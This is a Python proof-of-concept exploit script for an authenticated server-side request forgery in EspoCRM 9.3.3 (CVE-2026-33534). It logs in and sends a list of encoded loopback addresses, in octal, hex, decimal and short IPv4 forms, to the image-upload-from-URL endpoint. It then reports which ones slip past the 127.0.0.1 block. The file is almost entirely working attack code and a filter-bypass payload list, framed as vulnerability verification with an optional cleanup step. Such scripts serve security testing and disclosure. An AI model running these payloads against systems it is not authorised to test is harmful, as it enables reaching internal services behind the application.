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| #!/usr/bin/env python3
#
# Exploit Title: EspoCRM 9.3.3 - Authenticated SSRF via Alternative IPv4 Notation
# Date: 2026-05-08
# Exploit Author: EntroVyx (https://github.com/EntroVyx)
# Vendor Homepage: https://www.espocrm.com/
# Software Link: https://github.com/espocrm/espocrm
# Version: 9.3.3
# CVE: CVE-2026-33534
# Advisory: https://github.com/espocrm/espocrm/security/advisories/GHSA-h7gx-8gwv-7g73
#
# Usage:
# python3 CVE-2026-33534.py -u http://127.0.0.1:8083 -U admin -P 'Admin12345!' --internal-port 8083 --cleanup
# python3 CVE-2026-33534.py -u https://target.example -U user -P pass --internal-port 9002 --internal-path /interno.png
# python3 CVE-2026-33534.py -u https://target.example -U user -P pass --payload 0x7f000001 --payload 2130706433
import argparse
import json
import sys
from pathlib import Path
from urllib.parse import urlparse, urlunparse
import requests
DEFAULT_LOOPBACK_PAYLOADS = [
("octal dotted", "0177.0.0.1"),
("octal dotted padded", "0177.0000.0000.0001"),
("octal compressed", "0177.1"),
("hex dotted", "0x7f.0.0.1"),
("hex dotted full", "0x7f.0x0.0x0.0x1"),
("hex dword", "0x7f000001"),
("decimal dword", "2130706433"),
("octal dword", "017700000001"),
("short IPv4 two-part", "127.1"),
("short IPv4 three-part", "127.0.1"),
("zero-padded dotted", "127.000.000.001"),
("long zero-padded octal", "0000000000000000000000000177.0.0.1"),
]
def normalize_base_url(value):
value = value.rstrip("/")
parsed = urlparse(value)
if not parsed.scheme or not parsed.netloc:
raise argparse.ArgumentTypeError("target URL must include scheme and host")
return value
def default_internal_port(base_url):
parsed = urlparse(base_url)
if parsed.port:
return parsed.port
return 443 if parsed.scheme == "https" else 80
def ensure_path(value):
if not value:
return "/"
return value if value.startswith("/") else f"/{value}"
def make_url(base_url, host, internal_port, internal_path):
parsed = urlparse(base_url)
netloc = host
default_port = 443 if parsed.scheme == "https" else 80
if internal_port != default_port:
netloc = f"{host}:{internal_port}"
return urlunparse((parsed.scheme, netloc, ensure_path(internal_path), "", "", ""))
def make_control_url(base_url, internal_port, internal_path):
return make_url(base_url, "127.0.0.1", internal_port, internal_path)
def load_payloads(args):
payloads = list(DEFAULT_LOOPBACK_PAYLOADS)
if args.no_default_payloads:
payloads = []
for item in args.payload or []:
payloads.append(("custom", item.strip()))
if args.payload_file:
for line_number, raw_line in enumerate(Path(args.payload_file).read_text().splitlines(), start=1):
line = raw_line.strip()
if not line or line.startswith("#"):
continue
if "=" in line:
label, host = line.split("=", 1)
payloads.append((label.strip() or f"file:{line_number}", host.strip()))
else:
payloads.append((f"file:{line_number}", line))
seen = set()
output = []
for label, host in payloads:
if not host or host in seen:
continue
seen.add(host)
output.append((label, host))
return output
def post_from_image_url(session, base_url, image_url, field, parent_type, parent_id, timeout):
endpoint = f"{base_url}/api/v1/Attachment/fromImageUrl"
payload = {
"url": image_url,
"field": field,
"parentType": parent_type,
}
if parent_id:
payload["parentId"] = parent_id
return session.post(endpoint, json=payload, timeout=timeout)
def parse_json(response):
try:
return response.json()
except json.JSONDecodeError:
return None
def short_body(response):
body = response.text.replace("\r", "\\r").replace("\n", "\\n")
if len(body) > 420:
return body[:420] + "..."
return body
def delete_attachment(session, base_url, attachment_id, timeout):
response = session.delete(f"{base_url}/api/v1/Attachment/{attachment_id}", timeout=timeout)
return response.status_code in {200, 204}
def is_successful_bypass(response):
data = parse_json(response)
return (
response.status_code == 200 and
isinstance(data, dict) and
bool(data.get("id"))
), data
def print_result(label, host, response, data):
if isinstance(data, dict) and data.get("id"):
print(
f"[+] {label:24} {host:38} HTTP {response.status_code} "
f"id={data.get('id')} type={data.get('type')} size={data.get('size')}"
)
return
reason = response.headers.get("X-Status-Reason") or short_body(response) or "-"
print(f"[-] {label:24} {host:38} HTTP {response.status_code} {reason}")
def main():
parser = argparse.ArgumentParser(
description="Authenticated EspoCRM CVE-2026-33534 SSRF verification exploit with multiple encoded loopback payloads."
)
parser.add_argument("-u", "--url", required=True, type=normalize_base_url, help="Base URL, e.g. http://host:8083")
parser.add_argument("-U", "--username", required=True, help="EspoCRM username")
parser.add_argument("-P", "--password", required=True, help="EspoCRM password")
parser.add_argument("--internal-port", type=int, help="Internal loopback port for the self-fetch PoC")
parser.add_argument("--internal-path", default="/client/img/logo-light.svg", help="Internal path for the self-fetch PoC")
parser.add_argument("--payload", action="append", help="Additional loopback host notation to test, e.g. 0x7f000001")
parser.add_argument("--payload-file", help="File with one host payload per line, or label=host")
parser.add_argument("--no-default-payloads", action="store_true", help="Use only --payload/--payload-file entries")
parser.add_argument("--field", default="avatar", help="Attachment field used by fromImageUrl")
parser.add_argument("--parent-type", default="User", help="Parent entity type used by fromImageUrl")
parser.add_argument("--parent-id", help="Optional parent entity id")
parser.add_argument("--timeout", type=float, default=15.0, help="HTTP timeout")
parser.add_argument("--cleanup", action="store_true", help="Attempt to delete attachments created by successful payloads")
parser.add_argument("--stop-on-first", action="store_true", help="Stop after the first successful payload")
parser.add_argument("--insecure", action="store_true", help="Disable TLS certificate verification")
args = parser.parse_args()
payloads = load_payloads(args)
if not payloads:
print("[-] No payloads to test.")
return 2
internal_port = args.internal_port or default_internal_port(args.url)
control_url = make_control_url(args.url, internal_port, args.internal_path)
session = requests.Session()
session.auth = (args.username, args.password)
session.headers.update({"Accept": "application/json"})
session.verify = not args.insecure
print(f"[*] Target: {args.url}")
print(f"[*] Control URL: {control_url}")
print(f"[*] Payload count: {len(payloads)}")
control = post_from_image_url(
session,
args.url,
control_url,
args.field,
args.parent_type,
args.parent_id,
args.timeout,
)
print(f"[*] Control response: HTTP {control.status_code} {control.headers.get('X-Status-Reason') or short_body(control) or '-'}")
if control.status_code != 403:
print("[!] The direct 127.0.0.1 control was not blocked with HTTP 403. Results may not prove CVE-2026-33534.")
successes = []
for label, host in payloads:
ssrf_url = make_url(args.url, host, internal_port, args.internal_path)
response = post_from_image_url(
session,
args.url,
ssrf_url,
args.field,
args.parent_type,
args.parent_id,
args.timeout,
)
successful, data = is_successful_bypass(response)
print_result(label, host, response, data)
if successful:
successes.append((label, host, ssrf_url, data))
if args.cleanup and data.get("id"):
if delete_attachment(session, args.url, data["id"], args.timeout):
print(f" cleanup: deleted attachment {data['id']}")
else:
print(f" cleanup: failed to delete attachment {data['id']}")
if args.stop_on_first:
break
if not successes:
print("[-] No encoded loopback payload produced an attachment.")
return 2
print("")
print("[+] Vulnerable behavior confirmed.")
print(f"[+] Direct loopback control: HTTP {control.status_code}")
print(f"[+] Successful payloads: {len(successes)}")
for label, host, ssrf_url, data in successes:
print(f" - {label}: {host} -> {data.get('type')} ({ssrf_url})")
return 0 if control.status_code == 403 else 1
if __name__ == "__main__":
try:
sys.exit(main())
except requests.RequestException as exc:
print(f"[-] HTTP error: {exc}")
sys.exit(1)
|
